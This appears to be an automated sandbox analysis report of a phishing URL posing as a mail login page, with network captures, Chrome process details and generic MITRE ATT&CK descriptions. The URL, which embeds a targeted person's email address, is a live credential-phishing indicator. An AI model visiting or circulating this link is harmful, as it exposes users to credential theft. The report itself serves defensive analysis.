2025-03-10 12:51:47 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 37 75 6a 4e 43 36 2b 55 55 69 38 39 6c 63 4b 74 51 48 4b 67 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: t7ujNC6+UUi89lcKtQHKgg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.25	60675	141.193.213.21	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:49 UTC	615	OUT	GET /favicon.ico HTTP/1.1 Host: www.southwark.anglican.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.southwark.anglican.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:50 UTC	178	IN	HTTP/1.1 403 Forbidden Server: cloudflare Date: Mon, 10 Mar 2025 12:51:49 GMT Content-Type: text/html Content-Length: 553 Connection: close CF-RAY: 91e2f21cfcb642f7-EWR
2025-03-10 12:51:50 UTC	553	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>cloudflare</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch

Target ID:	0
Start time:	08:50:29
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7ec790000
File size:	3'001'952 bytes
MD5 hash:	290DF23002E9B52249B5549F0C668A86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:50:30
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1828,i,7476803358953529829,13947303041757850518,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20241209-180048.133000 --mojo-platform-channel-handle=2700 /prefetch:3
Imagebase:	0x7ff7ec790000
File size:	3'001'952 bytes
MD5 hash:	290DF23002E9B52249B5549F0C668A86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:50:36
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org"
Imagebase:	0x7ff7ec790000
File size:	3'001'952 bytes
MD5 hash:	290DF23002E9B52249B5549F0C668A86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Static File Info

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org